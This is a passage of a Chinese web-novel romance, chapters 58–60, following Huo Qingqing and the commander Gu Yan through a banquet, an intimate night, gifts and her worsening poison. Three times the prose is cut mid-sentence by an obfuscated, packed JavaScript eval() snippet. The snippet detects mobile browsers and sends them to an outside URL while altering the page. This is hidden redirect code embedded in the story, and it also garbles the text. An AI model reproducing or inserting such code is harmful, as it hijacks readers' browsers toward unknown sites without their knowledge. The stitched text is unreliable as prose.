直至傅家傅长安揭榜,仅带二十人便前往山中匪寨。匪寨中山匪百余,谈不成那便打。 山匪见她是女子,自是口出污秽言语。 傅长安不动声色,手起刀落,杀了个干净利落。 那时火光灼灼里,她提刀行来,一身火色骑装,身后鲜血逶迤。 她擦了一把血,骂道:“救你折了我两把刀,百两银钱不够。你得赔更多。” 女子昳丽,一眼便刻入心底。 霍承阳长长叹息一声,将书房的窗户掩上。 他着官服坐于书案前,借着摇曳灯火一一翻过手中书页。 书页上有人用朱笔批注了些凌乱的注释。上面写着千奇百怪的话,让人看了摸不着头脑。 “长安。你若能听到,便佑青青平安。” “我们的女儿,是当世奇才。她做什么都做得很好。如今似是给自己挑了个可以相伴一生的人,我初时本不想允。清风和将离,他们也对青青很好,你喜欢哪个?” “长安,不若我拿个铜钱跟你抛。我们不看其他,就看正反,你若不允,我便跟青青说说把顾衍丢出去。” 书房里留下许多痕迹,除去自家人,霍承阳甚少让人进来。 如今顾衍,也算破例。 霍承阳说着便当真从袖子里摸出一枚铜钱。 这枚铜钱锃亮,应当是被人常常摩挲着。 在沉寂的书房里,铜钱“啪嗒”落在那本书上。 霍承阳看着铜钱半晌,才笑叹了一句:“长安,你还是心软。要我说,就跟青青说说挑清风和将离了。” “算了,你的女儿你最清楚。” “她做事像了你十成。我这个当爹的只能听你们娘俩的,你们说什么就是什么。” “只是婚姻大事还得再等等。” “如今朝堂之上,我也不知会怎么走。只望扳倒宋世荣,还朝堂上下一个清平。今日里我与他朝上辩驳,青青聪明,他便只能退步。” “如今百姓自知冤枉了青青,什么话都不敢说。” “长安,你说青青是不是,像极了你?” 寂寥的夜里,霍承阳在书房坐了一夜。 灯火早熄,他看着窗外微光,起身推开窗,一片黄叶忽悠悠地被风带进来,落在他袖子上。 京都又寒凉了,不日便该入冬。 也不知今岁冬,百姓可还有存粮。 只望冬日莫有天灾,莫有饿殍。 …… 霍青青昨夜里只觉得冷,忽冷忽热的又难醒。倒是没什么大梦,再醒时,已是第三日晌午。 她转头便瞧见顾衍在榻边。 欲抬手却被他轻轻握住。 “嗯?”顾衍眼眸微睁,见她不知何时坐起来半靠在枕头上瞧他。 “要不要吃东西?今日晨间锦屏过来放了你喜欢吃的糕。” 顾衍起身坐在榻边。 前日夜里他来时,霍姑娘还在安睡,他握着霍姑娘的手也觉得忽冷忽热的。试了额头又并未烧起来。 便没有去找医老。 霍青青侧身坐起来,微凉的指尖落在顾衍眉眼间:“几日了?” “三日。”顾衍取过床头的木梳,给霍姑娘打理头发。 随后便取了那金簪给霍姑娘绾了一个松松的发髻。 “能看,不好看。”顾衍取来铜镜放到霍姑娘面前。 霍青青看一眼笑出声来,着实是能看,但不好看。 “顾大人惯爱说实话的。” “就这般还是让锦屏来?”顾衍挑眉,将铜镜放到一边去。 “就这般吧。” 顾衍再捧来锦屏早先备好的衣物,霍青青接过来,见顾衍背过身去笑了句:“顾大人是真君子啊。” 霍姑娘穿衣服向来不爱穿累赘的,锦屏便只备了深衣和厚些的外衫。 听着布料摩擦和玉镯碰撞的声响,顾衍觉得耳垂微微发热。 “我去拿糕,霍姑娘若是换好了等我过来便是。” 说罢,他便匆忙去外间。 今日晨间送来的糕放在外间柜子里用食盒装着,医老只说没什么忌口的,都能吃。 顾衍在柜子前站住脚,许久才伸手将食盒取出来。 等他回来时,霍姑娘已经换好衣服取了一本书在桌边坐着。 他摆上糕,霍姑娘正巧放下书。 霍姑娘吃得精细许多,每日里的吃食都是厨房新鲜做了送来。这些精细点心莫说外面,就是宫中都少见。 在霍府呆了这几日,就听闻霍府厨房里做的都是霍姑娘爱吃的,其他的都是顺带。 锦屏也说,平日里霍姑娘待他们好,常叫厨房做些好吃的让他们自行取用。 这霍府里的差事,是多少人艳羡的。 霍家殷实,从不克扣工钱,府中的人多是自小便来的。每日里吃穿住行都甚好。 像门房管家也都是军中老者。 他们年纪大了,早年里冲锋陷阵,又逢只有孤身一人,霍家便给他们落脚处 如此家风,才该是高门风骨。 再瞧瞧自己手中。 顾府冷清,连侍从都少,只有几个洒扫小厮。 那边他也不常回,多数时候都在南北镇抚司里奔走,或是外出查案。 当真是冷清得很。 “顾衍。” 霍青青唤了他一声。 顾衍这才回过神来,笑问:“怎么了?” “我想出去走走,屋子里呆着太闷了。” 顾衍起身去找来一件披风,给她细细系好后才站在她身后微微扶住她。 “要是被锦屏他们看到,顾大人可要记得替我挡挡。” 霍青青握住顾衍的手站稳,步子还有点虚浮。 等到得外面,霍青青才呼出一口气,笑道:“还是外面好啊。” 外面碧蓝天,秋风卷。 疾风骤雨这几日似是也怕吵着她,便在院子里的老树上歇下。 如今见她出来,便双双飞下来,落在顾衍两边肩上。 顾衍拎下来一只,朝它道:“这是官服,别抓坏了。” 霍青青觉得好笑起来,忽然想起什么似的,问他:“顾大人此时怎的没上朝?也不去南北镇抚司。” “今日我休沐,也给宋无忧、伍行还有影批了休沐。” “影那日扮你从诏狱出来,总算是瞒过了那些人的眼睛。念他前面扮我,后面扮你,便多放了他几日。” 顾衍没说,他上折子时,明顺帝盯了好久。 看看折子又看看他。 直到他坦坦荡荡说是去霍府陪霍姑娘才给他多放了几日。 “也是。辛苦他了。”霍青青摸着骤雨的背羽:“今岁阜州那方应当富饶。不若我们去阜州过冬。” “阜州那方,冬日有歌舞升平。他们总爱载歌载舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357077|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不行。”顾衍星目微垂,疾风骤雨一只在他手臂一只在他肩头。 末了,疾风也跳下来。 手臂上两只海东青,好在他整日习武,还能撑起来。 “医老可是说了,今岁说什么都不能再远行。” “师父说的,只能信六分。我的身体我知道的。”霍青青说着,伸手拿掉顾衍肩头的落叶。 见着顾衍模样,桃花眼里落了点笑意。 秋阳之下,她眼中浮光跃金。 “顾衍,待风停了,陪我去看看吧。” 顾衍的年岁里,有颠沛流离,残破城池。后来入了军中,再来京都。 北镇抚司暗无天日的诏狱里,他一呆便是一日。 曾听闻顾衍常常坐在诏狱里审人,难撬开些的一审就是好几日。他不怎么休沐,也不爱闲着。 人人都说他像是铁打的。 他甚少离京。 数月前随她去青州,已是算休沐了。 只是不知他愿不愿意陪着她去阜州。 或许是,想在还活着的年岁里,再自由自在地走一遭。今岁身子弱,已好久没有去看过那方天地了。 院子里又飘落几片黄叶,落在霍青青的发间。 那根金簪斜斜插在发髻上,桃花正好。 顾衍看着那双带着笑意的桃花眼,眼尾带出点旖旎风光。 他看了许久,笑道:“好啊。” “霍姑娘除去阜州,还想去何处?” “阜州、青州、那方枫华道,都想再走走。” 霍青青接住一片黄叶,抬手间,玉镯叮当作响,袖口滑下来,露出皓腕。 “那便走吧。待那时,霍姑娘瞧瞧我是辞官还是上书皇上再放几日假?”顾衍站在她身侧,微微低下头来吻在她耳畔:“若是辞官,霍姑娘可有接手的人选?” 霍青青转过头,伸手挡住他的吻:“顾大人说什么辞官?皇伯伯寻人不易。再者,顾大人若是辞官,何来钱财?” “也是。”顾衍握住她的手笑叹:“若是辞官,哪里来的钱给霍姑娘买衣裳首饰?总不能让霍姑娘养着我。” “那……顾大人的俸禄都花哪里去了?” “俸禄啊……”顾衍将自己的私印放在她手心里:“全在这儿了。” “共五百人。” 霍青青看着手中印信,慢慢收紧,笑道:“顾大人就不怕被我拿了把柄吗?” “那也无妨。把柄给霍姑娘拿着,我安心些。总比被那些酸儒文臣拿了好。”顾衍说着,将她的手拢在自己掌心:“前面便给你了,被你还回来。” “我取给你时,就没想过还要拿回来。” “我顾衍这条命不值钱,不如给了霍姑娘做个打手。这般,霍姑娘就有人用。我能指哪儿打哪儿,霍姑娘瞧着如何?” 顾衍将霍青青的手放到胸口,挑眉道:“霍姑娘摸摸,是不是挺结实的?” “若是五百人护不住霍姑娘,我倒也能当个盾用用。” 霍青青指尖微微陷进他的衣物,轻轻攥住:“顾大人说话越发好听了。” “霍姑娘说什么都行。” 顾衍坦荡荡,心跳却快上几拍。 “那我以前怎的不知,顾大人说话这般有意思?” 顾衍别过头去,霍姑娘看的话本上明明说,姑娘家都喜欢说话风趣些的。 他不知其他,但唯独学东西快。 二人就在霍府的后院里逛了许久,累了便坐在凉亭里歇息片刻。疾风骤雨站在顾衍肩上,被顾衍赶了又赶。 霍青青坐在一旁,托腮看顾衍一身绛红飞鱼服。 她虽那时说顾衍穿月白锦衣定然好看,但这身飞鱼服也是好看的。 飞鱼绣春,在这秋日飞黄叶的时节里分外惹眼。 还是那初见之时,鲜衣怒马顾大人。 58.绾金簪 今日晨起,锦屏在外间让人搬动一应物件。 顾衍掩了门出来,正撞上锦屏。 “这是做什么?” 顾衍看着满院子又是摆屏风又是架高台不明所以。 锦屏看着掩上的房门,没听见里面动静,才道:“今岁中秋时姑娘没回来。这是,给姑娘补的团圆夜宴。前些日子府里人都闷着头在给姑娘排演些逗趣的杂耍,扎了不少花灯。” 末了,她见顾衍一身清闲,便随口问了一句:“不若顾大人也来帮着挂些彩绸花灯?” 这些时日里,顾衍把自家姑娘照顾得好,人人也都瞧在眼里。霍府众人也都对顾衍另眼相看。 本想着顾衍这人虽然紧着姑娘,但也非那等好说话的主,此问也是随意问问。 未曾想,只片刻就听到顾衍问怎么做。 锦屏也没客气,招来两个正在院里搭着梯子挂花灯的小丫鬟。 “顾大人跟着她俩就是。”锦屏又瞧瞧霍青青紧闭的房门,叹了一句:“也不知姑娘今日何时醒,若是早些还能去郊外山寺里祈个福。” “哦?郊外那山寺有什么说法吗?” “山寺里的许愿笺说是只赠有缘人,但得亲自前去求。”锦屏接过送来的彩绸,清点了一遍数量,抱着彩绸便要走:“只是那山寺,一年才开一次门,开一次也就小半日,傍晚后怕是就关上了。姑娘幼时去过一次后就被送到南方养着,也不知姑娘那时写的什么笺。” 她说完跟顾衍告了句退,说是今夜里还有许多事要做不好再耽搁。 顾衍点点头,转身便跟方才那俩小丫鬟去挂花灯。 霍府院子大,霍姑娘这方院子里挂满还得走一段往后院,后院走完挂满了,还有前院。 虽已快至冬日,霍府内却还是有勃勃生机。 错落着的假山池藻亭台楼阁,被彩绸和花灯一映,更添几分盎然。 那时在青州学宫拜月宴上也是这般花灯错落,映了银月微光。 顾衍将手中最后一个莲花灯挂上,看看时辰,已过了午时。 他将自己一身暗色骑装理了理,复又去霍青青院子里坐上一阵。 此刻青青还未醒,霍十一和辰砂就守在门外。疾风骤雨在他们肩上,各自站一人肩膀。 房前侍卫,四个。 顾衍看着疾风骤雨朝他张开一边翅膀示威,不由哼笑一声,低下头去盘玩腰间一枚青玉坠。 这枚坠子是昨日里青青取来给他系上的。 说是她在南方挑来的玉石,庄子上时闲来无事便画了个花样子,自己动手略打磨了。 如今正好瞧见他少个配饰,便赠他做个佩玉。 玉坠入手微凉莹润,同青青腕上那两个镯子一般无二。上面只简单镂刻了几卷祥云奔流,并无其他纹样。 霍姑娘是当真爱玉石,妆奁里金银珠宝少,唯有玉石打的头面多。佩环箱子里也是各式各样的玉石。 初时打开,他还惊了下。 他还是第一次瞧见姑娘家这么多样子的首饰钗环。 那时,霍姑娘见他看呆了去,还伸手轻轻拍他的脸道了句顾大人醒醒。 霍姑娘这些时日虽不出门,但每日里都会绾上松散些的发髻,在屋中练字看书或是出来院子里同他一起走上些时候。 霍姑娘总喜欢将妆奁里的首饰头面拿给他挑,笑问他今日戴什么。 他总要拿那根金簪,霍姑娘就总盯他半晌。 可是,霍姑娘戴金簪也好看。 瞧着霍姑娘这时辰也未醒。 顾衍在院子里又坐了些时候才起身。 他只走时跟锦屏打了声招呼便往自己府中赶。 锦屏觉得稀奇。 这么些时候,顾衍向皇上要了好几次休沐,初时还稍稍避讳着,呆不了多久就回去。 后来便索性宿在霍府。 霍老爷初时见他宿这里,面色不可言喻。 就跑去跟自己爹倒苦水,完了这两人没人管着,夜里喝了个烂醉。 有一日顾衍夜里来,正巧撞见喝醉的霍老爷,那夜里可热闹。 除去姑娘的院子,其余地方都被闹腾个遍,惊得府中的猫狗窜了一院子。 后来才知,那夜里霍老爷喝醉了酒,随手取了一根丈长木棍就说要跟顾衍理论理论。 那夜里顾指挥使也是赶巧了。 他刚来就撞见提了木棍的霍老爷。 两人园中对看半晌,霍老爷那棍子抡得像大锤。顾指挥使一时只得跑,这若打了就是他的不是。 顾衍这般人,哪怕被打都要夜里宿在霍府。 今日竟想起出去了吗? 锦屏若有所思半晌,最后也没想出什么便索性不想了。 反正顾衍这人如今也算得能凑合看看。 …… 霍青青今日醒得迟。 往前几天,夜里都未曾睡太好。 今日好太多了,算是将前些日子未睡的觉给补回来点。 只是奇怪。 她醒来没看到顾衍。 但转念想想,这才过去一月顾衍就已经将休沐日过完。 许是有公务堆着了,要他去做。 霍青青唤来锦屏,梳洗打理一番,看了钗环半晌,自格子里取出那根金簪。 今日是月白绣银的衫裙,配金簪也无碍。 锦屏笑说那根白玉流云也好看,霍青青笑着微微摇头:“一根就够了。” 等锦屏绾出一个较往日繁复些的发髻,又觉得发髻太空。便只得翻出一盒子白玉镶金的头面挑出两三小件来配着。 她左看右看,还好这般也不算晃眼。 等霍青青打理完,刚推开门,便见院里一片张灯结彩。 有一身着月白锦衣的人站在树下,伸手在逗树杈上站着的疾风骤雨。 那人身形挺拔,纵然锦衣宽袍,也尤带三分锐气。 “顾大人。” 霍青青抬手将自己散落下来的鬓发掠至耳后。 锦屏不知何时退去,院中便只余下他们二人。 “霍姑娘此时醒,也算正好。” 霍府通明的灯火里,顾衍锦衣缓行。 借着灯火,霍青青看到他那袭月白锦衣映上花灯薄光。原本就俊朗的脸上多出几分往日没有的温润。 他腰间系上一根月白错银腰带,她赠的玉坠掩在错落的佩环中,碰撞着发出一点悦耳声响。 墨发锦衣,翩翩公子。 他缓步走来,站定在她身前一步伸出手来,笑道:“夜宴该开了,霍姑娘是等会儿前去还是这时去?” 霍青青看着他手中放着一页笺,偶然想起小时曾去过京郊的山寺。 “顾大人是去了山寺求许愿笺?” 等她的指尖点过顾衍的掌心捡走那张笺,顾衍挑眉道:“顺路。听闻山寺只放有缘人,便去试试。” “很巧,算是有缘。” 霍青青闻言眼眸微弯:“那顾大人是去许了什么愿?” “我……” 他话未说,喧嚣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387930|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿起,霍府一时热闹起来。 后院里的夜宴已开了。 他握住霍姑娘的手朝后院走去:“走罢,先去宴上。” 霍青青瞧着他的背影。 顾大人似总是这般磊落,有时纵有些事难言于口,也会告知她必然无碍。 “在看什么?” 顾衍的声音自前面传来。 霍青青笑了句:“在看顾大人,好看。” “这几日都不忙,亦不必日日审人。霍姑娘要是喜欢……” 眼见着快到了,顾衍停下步子,转过身来压低声音道:“霍姑娘要是喜欢,那我便多穿几日。” “那可好?我也能就着顾大人的美色多吃些饭。” 秀色可餐四个字,顾大人是真真能表达得淋漓尽致。 “那便,随霍姑娘的意,多吃些也好。” 待到他们二人赶来,夜宴才开场。 这次的顾衍如愿坐在霍姑娘身侧,取了筷子给霍姑娘布菜。 临时搭起的台子上没有那时在玉楼春那般讲究。 不知是谁请的戏班子,在台上唱了一出近日里许多人传阅的话本文,叫什么顽石开。 顾衍只听戏文里一句青州拜月不自禁眉峰一抖,手中筷子差点没夹住菜。 霍青青待他放下筷子,才将手覆在他手背上,轻叹一句:“也不知是谁编排的,待我晚些回去收拾他们。” 顾衍身子微斜,轻轻靠在霍姑娘肩上,懒散道:“算了。我怕这一通收拾了,再晚些就成了顾指挥使顽石开窍,借着霍姑娘威风狐假虎威。” 霍青青抬手给他倒上一杯酒递予他:“我家顾大人宽宏大量。” “霍姑娘,给我倒酒可以,不能给自己倒。”顾衍说着,便顺手取走了霍姑娘手中的酒壶,还将那杯已倒了半盏的酒拿走。 霍青青看着他,眼底带了几分失落。 顾衍见不得她这般,又着实不能再让她沾酒。 无奈之下只得转过头去不看她。 霍青青卖惨未果,伸手在桌下轻轻勾住顾衍的腰带。 顾衍身子一僵,被她带着靠近。 觥筹交错间,他微微侧身挡住许多人视线。 “霍姑娘。” 他低声唤了一句。 霍青青靠到他身前,在众人还在饮酒看台上大戏时,悄悄吻上顾衍的唇角。 然后慢慢绕住顾衍的袖口。 等她满意放开之后,顾衍才听着她轻笑:“我就知今日是梅花酿。” 顾衍叹息着放下酒盏,他千防万防,没防住霍姑娘还有这一手。 他一手落在霍姑娘腰间,一口饮完了杯中剩余的酒。 再看过来时,霍青青看到他星目中蕴了朦胧醉意。 他落于她腰间的手松开,转而拉住她的手扣住。随后便靠在她耳边轻声道:“霍姑娘。在你府上喝醉了,你要负责的。” 霍青青笑着将他推开些:“顾大人又讹人。” 梅花酿明明是不容易醉人的。 顾衍只知,霍姑娘今夜里笑起来,带了七分蛊惑。 他被她带着走,行至房前又被她推开。 霍青青一身月白绣银衣裙站在门口朝他道:“顾大人莫不是真醉了?” 顾衍一怔,确是清醒几分。 霍青青看他模样,便知他是当真有些醉了。 她走到他面前,眼尾撩起几分风情。 伸手勾住顾衍的衣襟,笑问道:“顾大人今日想睡外间还是睡里间?” 59.醉风月 府内喧嚣不知何时歇了。 顾衍被她勾住衣襟,带得俯下身来。 他垂眸看着霍姑娘勾住他衣襟的手指,在夜色里也分外惹眼。 呼吸渐近,他抬手握住霍姑娘的手,压抑又艰难地哑声道:“霍姑娘,别玩儿了。” 霍青青的手自他手中挣脱。自他的衣襟顺着他的脖颈慢慢爬到他的下颌,柔软的指腹落在他唇上,轻柔摩挲起来。 “顾大人这般好看……”她说着,指腹停在他的唇齿间,抬头朝他轻叹道:“我不想负了这般良辰美景啊。” 顾衍蓦然伸手将她横抱起来,抵开房门径直将她放到榻上。 他正欲起身,却被霍姑娘一把拽住手臂。 也不知霍姑娘哪里来的这么大力气,一把便将他带倒下去。 顾衍只能忙乱地避开她,手臂撑在她耳边。 月华倾泻下来,落在他们交缠的发上,铺开一层淡淡银芒。 顾衍的呼吸乱了。 他温热的气息落在霍姑娘耳畔,伴着些许烦躁,他开口道:“霍姑娘,别玩儿了。” 霍青青双臂绕上他的脖颈,轻飘飘的吻落在他脖颈间慢慢上移,最后落在他喉结上。 只那么一瞬。 顾衍只觉气血翻涌,一身热血快烧到脑子。 他紧紧抓住霍姑娘的手,最后只能无可奈何地抵在她的颈窝。 霍青青的手落在他后颈,轻笑道:“怎么了?我的顾大人。” “我……”顾衍在她耳畔大口呼吸着,许久,才又埋进霍姑娘颈窝,闷闷道:“我家霍姑娘身子弱。” 霍青青的手轻抚在他脊背。 青年人的背宽厚挺拔,此刻已然是绷紧了。 她知晓顾衍无论何时都顾忌着她这副弱得很的身子,更遑论是她想诱他做那等事。 他大抵也知道,有些事一旦开始,他就容易陷进去、止不住。 “青青,别动了。” 顾衍紧紧抱住她,近乎哀求。 随后他胡乱地吻着霍姑娘,一个接一个的吻落在霍姑娘眉间额角,最后紧紧扣着霍姑娘的手,吻在她唇齿间。 霍青青搂住他的脖颈,笑道:“顾大人,我自己的身子我自己还不知吗?” “再等等,再等等好不好?”顾衍的声音有些发抖,却也极力克制着自己的力道。 他想将青青抱得更紧。 霍青青哑然失笑,手指顺着顾衍披散下来的黑发梳下去,一下又一下安抚着他。 她家顾大人,哪里会像传言里那般啊。 沉寂的夜里,偶有顾衍哑着声音霍姑娘或是青青地乱叫一通。二人的黑发纠纠缠缠的,一时也辨不清到底是谁的。 那桃花金簪被置于床头,映出一点银月光。 月光之下,是天青月白。 霍姑娘喜欢玉石,她的佩环总是在她行走间叮当作响。她也喜欢看人佩玉,便也赠了顾衍她自己粗雕的青玉。 如此,他也能听见玉石撞击时的悦耳声响。 月白色是月光落在白玉上的那抹微蓝。 便像是微蓝莹润的暖玉,如琢如磨。 霍青青不知自己是何时睡的,亦不知顾衍是何时将她衣物整理好后离去的。 她唤来锦屏时,锦屏瞧着她半晌,去取来一面铜镜。 霍青青看着铜镜里自己颈间的红痕无奈笑道:“如今也快入冬了,穿厚些吧。” 把顾大人逼急了,是当真会咬人的。 锦屏欲言又止,几次憋回去后还是问了一句:“姑娘,你当真……” 霍青青不置可否,只随手将手中的桃花金簪递给她。 锦屏接过金簪便也没再说话,给自家姑娘捧来几件衣物换上后,灵巧地绾出一个精致的发髻。 末了又取来一件厚实的披风系上。 吃食早一柱香就已备好,她在外间将吃食摆出来时,轻咦一声:“这谁采的花?” 她将这一捧抱起来走到霍青青面前,怪道:“也不知是谁放的,放了大半桌子。” 霍青青接过来,见这花红红紫紫各式各样的都有,便让锦屏取几个花瓶来分好放着。 锦屏脑子转过来,就笑道:“未曾想,顾大人也会送花啊。” 霍青青没有说,顾衍昨日里将他手底下所有的人全部送了,还连带他攒下的月俸。 …… 等顾衍再来时,见花分着摆好,只觉心中发烫。 站在这房中,又免不得想起昨夜里霍姑娘大胆的行径。 一站就站了许久。 霍青青轻巧走过来,唤了句:“顾大人。” 顾衍这才回过神。 他一反常态地把霍青青抱起来坐在桌案边,下巴抵在她肩头,将一个约摸一掌大的红木盒放到她怀里。 “顾大人这是做甚?”霍青青掂了掂木盒,只觉不似寻常物件。 顾衍磨磨蹭蹭地凑在她耳边道:“我本孑然一身,没有太多东西。除那信印外,便只余下这点。” “霍姑娘打开看看罢。” “这些年养着这么些人,俸禄不够,便也收了几间铺子和一个庄子做些买卖。这些买卖平日里我也不打理,全权给了宋无忧管着。” “他管了这么些年,赚得也算不得多。每月里能够上点衣食。” 霍姑娘低头看着被他塞怀里的红木盒,便错过了顾衍一点点泛红的耳垂。 红木盒里其他没什么,只放了一叠地契和零散几个金锭。 “顾大人将这些东西给我了,那顾大人可还有平日里用的?” 霍青青将那几个金锭取出来放到顾衍手中,眼见着她放下,顾衍又将金锭放回盒子里。 “我吃在镇抚司,穿和用都是宫中供给。平日不去花楼不走酒楼,不爱赌庄,府内只有我一人和几个洒扫小厮。月俸除去养人只余下几两,铺子和庄子上一年进账少则百两多则三五百。” 霍青青听着觉得好笑起来,遂转过身搂在顾衍肩背,低头朝他笑道:“顾大人这是想相看姑娘?” 顾衍声音微哑,带了些笑意:“是啊,霍姑娘看着可还能入眼?” “嗯……” 霍青青沉吟片刻,伸手勾起他的下巴,眼眸微弯:“顾大人这张脸就已能入眼了。” “那我还是占了美色的便宜。”顾衍握住她的手轻轻拉下来:“今岁怕是比往年冷。冬日里霍姑娘若是无事便别出去了,在府中好好歇着才是。” “无碍的,往年在阜州那方还更冷些。”霍青青的手指轻勾,勾在顾衍掌心:“顾大人何时才上朝?” 顾衍被她一句话定住。 他一时也没好意思说这几日宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422942|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世荣一击不中便歇了,诏狱那便又没甚么难撬的,他便又上书了明顺帝,又多要了几日休沐日。 遂这些日子,他在霍府呆得倒也安稳。 顾衍的手微微收紧,说笑一般问霍姑娘:“我若是辞官了什么都没了,霍姑娘还要我吗?” 霍青青微眯了眼,手点在自己下巴上直叹气:“那便没办法了。看在顾大人这张脸的面上,还是要。” 忽然,她低下头在顾衍唇上落了个吻。 这个吻来得极快,一触即离。 接着,顾衍就听见她带着揶揄的声音:“未曾想那本《大煜好夫婿》里说得这般准。顾大人果真是极好的。” 顾衍耳中似只听到夫婿二字,他点点头:“那霍姑娘觉着我该何时上门?” 他曾觉得好笑的话本,如今却觉得写得甚好。 霍青青也未曾想到他竟有此一问,愣怔片刻,在他怀里笑出声来。 等她笑够了,才抓着顾衍的手臂撑起身子靠在他胸口:“顾大人是想跟我姓?” 她本是随口揶揄,又那么随口一说。 奈何顾大人认真且坦诚。 顾衍沉吟片刻:“倒也无妨。” 霍青青笑得更厉害了。 顾衍听着她笑自己也笑起来,伸手将她扶稳,认真道:“我一人而已,从不执着于这些,叫什么都一样。” 霍青青在他怀中呆着,觉得暖和起来便又犯困。 她指尖搅着顾衍垂落下来的一缕发,看着这缕发在她指尖绕紧又松开。 “霍衍没有顾衍好听啊,顾大人还是叫顾大人吧。” 话落,她立时打了个哈欠,抬手勾住顾衍的脖颈,寻上顾衍的耳畔:“顾大人,我要歇会儿了。待晚些,再同顾大人说话。” 顾衍应了声好,将她抱起带回榻上。 红木盒被他安放在妆奁边,他瞧着霍姑娘出神。 许久,才垂下眼睫看着自己掌心。 方才,霍姑娘就勾在他的掌心里,那一点灼人的凉意,此刻都还未消退下去。 霍姑娘的指尖总带着微微的凉意,也不知是否与她体内的余毒有关。 那日里杏林医老才说他给霍姑娘开了补身体和抑毒的药。可他分明觉得,霍姑娘近几日身子越发弱,每日里困倦的时候更多了些。 他慢慢将手收紧。 霍姑娘说,她不怕死,她想在剩下的年岁里做她想做的事。 只是她怕她爹禁不住这个打击,会真的颓唐下去。 更别提霍书,霍书本就只有霍承阳一个独子,如今更是只有青青一个孙女儿。 霍姑娘又说,雁将离没了她也不会再守关,若是那时,朝中无将,只能去请徐从风出山御敌。 霍清风她不怕,因为霍清风还要守着霍家。 霍姑娘还说,十三楼不能群龙无首,兰浔一人管不过来这么多。 最后霍姑娘说,她本想陪着顾大人的,只是如今也不知了。 她说话时,看着他的眼中带着歉意,他听着她调笑一般说,早知如此便不该招惹顾大人了。 他那时没听完,只知道自己打断她的话,压下自己心中涌上来的情绪。 或是如此,才有了昨夜里那一遭。 霍姑娘不害怕,他却害怕起来。 此毒,便当真无解了吗? 60.冬雪歌 这些时日里,顾衍休沐的日子渐多,明顺帝见他与霍家走得近且近日里太平得很,便也未苛责。 只霍青青总觉得顾衍有事瞒着她。 往日里顾衍只要镇抚司中无事便总会打马来霍府陪她,二人也一同出街去各处晃荡。 锦屏和辰砂总跟在他们后面抱着大摞的小玩意儿,或是各类吃食。 自然,他们也不会尽带回府。 若是碰上外面玩耍的孩童,也给他们分些。 时日一长,孩童就将他们认熟了。 偶有百姓认出来,是那时误会了的霍府小姐,觉着不好意思也就绕道走了。 此刻的顾衍正站在一个小摊前,那小摊子上摆着各式各样的精致小物件儿。钗环玉坠,还有关外样式的嵌宝雕花镯子,瞧得人眼花缭乱。 他取了一个镯子掂了掂,思量片刻跟摊主讨价还价半晌才掏钱买下来。甫一转身,便见着披了一件厚实披风的霍姑娘朝他走过来。 霍姑娘凑近看看他手上的嵌宝金镯子,眼眸微眯:“关外的样式啊……” “瞧这样式,应当是白沙关那方来的。” 顾衍挑眉,执起她的手就将镯子套在她手腕上。 “正巧,这边手腕还空着。” 摊主见霍青青是个懂行的,便连忙捡出几件:“姑娘可要买下整套?除去这镯子,还有这副头面。” 顾衍没有说话,端详着霍青青只觉霍姑娘的脸被拥在暖呼的绒毛里分外好看。 再垂眼看看那副头面,金红的,着实太过艳丽了。 霍姑娘还是适合轻些的玉。 “霍姑娘可喜欢?”顾衍低声问了,将她的手握在掌心。 如今已是入冬了。 这等天气里,本不该让霍姑娘出来这般久,但霍姑娘总说醒醒睡睡的呆在府里太过无趣。 他便也无法,只得给她套上更厚实的衣物才让锦屏跟着出府。 霍青青细细看过,确是白沙关那方来的无疑,便点点头:“这般样式的,首饰匣子里倒是还没有。” 摊主也精明,见二人不似寻常人,便直说遇到识货的人不容易,给出个低价还赠上几颗大小不一的圆玉珠。 顾衍结了钱款接过来抱着,又随霍青青一路走。 一行四人终是在日落前回了霍府。 顾衍将一应物件递给锦屏和辰砂,在霍府门口驻足。 霍姑娘走在前头,觉得有些奇怪,便回过头来看向顾衍。 此刻暮色低垂,只余下一层淡薄金辉。 顾衍今日换的是那身黑色绣金银的常服,发带下坠着两枚小铜坠子。 “顾大人?” 不知为何,暮色之下,霍青青看到顾衍星目里落进细碎的金光,只觉顾衍此刻有些寂寥起来。 顾衍上前来,弯下腰拘起她的裙摆,随她跨过霍府的大门再仔仔细细将她的裙摆理顺。 往日里他总爱随她的话同她笑闹,如今却沉闷下去。 “青青。若是天冷就乖一点呆在府里。宋世荣的事你不必管,我会看着。今岁会冷,我知晓你衣裙多,平日里就多穿些。” 顾衍抬起手又放下,许久,面上才带了点往日的笑意:“他们应当也能把你照顾好,我怕是多虑了。” 霍府里此刻空荡荡的,顾衍看了一眼抱着剑站在角落的辰砂,压低声音道:“我再点几个人给你。你若是有事,也能使唤他们。” 